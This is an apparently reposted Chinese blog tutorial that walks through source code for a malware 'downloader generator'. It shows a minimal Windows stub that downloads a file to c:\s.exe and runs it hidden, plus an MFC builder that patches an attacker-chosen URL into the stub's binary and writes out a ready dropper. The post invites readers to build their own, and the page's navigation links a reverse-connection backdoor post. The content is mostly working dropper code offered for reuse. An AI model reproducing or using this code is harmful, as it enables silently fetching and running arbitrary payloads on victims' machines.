« [转载]利用钩子技术控制进程创建1k(程序体积1kb) 反向连接,零管道后门(转) »

[转载]从源码看下载者生成器

原始出处:蚂蚁源码博客

之前有看过别人写的下载者的软件,
这段时间在看VC,所以就找了一份源代码回来
学编程多看别人的代码,这是句老话,但确实从别人的代码里面能学到很多

下载者生成器主要分为两部分: 下载者,生成器;

1.下载者部分实现

#pragma comment(linker,"/ENTRY:Entrypoint /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
#include
#pragma comment (lib,"Urlmon.lib")//URLDownloadToFile
void Entrypoint()
{
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
WinExec("c:\\s.exe",SW_HIDE);
exit(0);
}

这部分是下载者部分的源码
#pragma comment(linker,"/ENTRY:Entrypoint /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
#include
#pragma comment (lib,"Urlmon.lib")//URLDownloadToFile
这部分主要的思想是让程序编译出来的更小,详细的解释可以参考msdn(这玩意编程是必须的如果你在windows环境下的话,怎么也得有一份吧!)

void Entrypoint()
{
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
WinExec("c:\\s.exe",SW_HIDE);
exit(0);
}
[URL=http://][/URL]这部分是实现部分,其实里面也就 两个函数 URLDownloadToFile WinExec
URLDownloadToFile 作用是下载文件 然后保存为 s.exe
WinExec 作用是执行文件 SW_HIDE参数是隐藏执行

完成后编译成 mindownload.exe

2.生成器部分实现
建立一个MFC 的对话框程序,按照上面图片的布局调整好,
生成器的核心部分有两个: 要下载文件名的插入 ,生成

首先把 mindownload.exe 以资源的方式调入到本程序中
然后就是代码部分的实现:
void CDownloadDlg::OnOK()
{
char url[52];
memset(url,0,52);
CString temp;
GetDlgItem(IDC_HTTP)->GetWindowText(temp);
if(temp=="")
{
AfxMessageBox("配置错误!");
return;
}
sprintf(url,"%s",temp);

HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize,dwWritten;
LPBYTE p;
HANDLE hFile;
// 查找所需的资源
hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");
if(hResInfo == NULL) return;
// 获得资源尺寸
dwSize = SizeofResource(NULL,hResInfo);
// 装载资源
hResData = LoadResource(NULL,hResInfo);
if(hResData == NULL) return;
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL) return;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
CopyMemory((LPVOID)(p + 0x23c), (LPCVOID)url,52);

char Path[256];
GetCurrentDirectory(256, Path);
strcat(Path,"\\SEU_downloader.exe");
DeleteFile(Path);
hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile == NULL) return;

WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL);
CloseHandle(hFile);
AfxMessageBox("成功生成!");
}

看这两句:
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
CopyMemory((LPVOID)(p + 0x23c), (LPCVOID)url,52);

第一句是把exe 也就是下载者读入到内存,第二句是把我们填写的需要下载的exe路径写入到exe中
到此你应该清楚了在下载者代码中
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
这句的含义了吧, 程序就是用我们需要下载的文件地址去填充“#”号

此生成器的核心部分就是如此 按照这个思路就可以写你自己的下载者生成器

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

网站目录

最近发表

最新评论及回复

文章归档

Search

Powered By Z-Blog 1.8 Terminator(beta) Build 71218 Designed by Michael

Powered By Z-Blog Copyright 0-9999 subin.org.cn Rights Reserved. 晋ICP备08000685号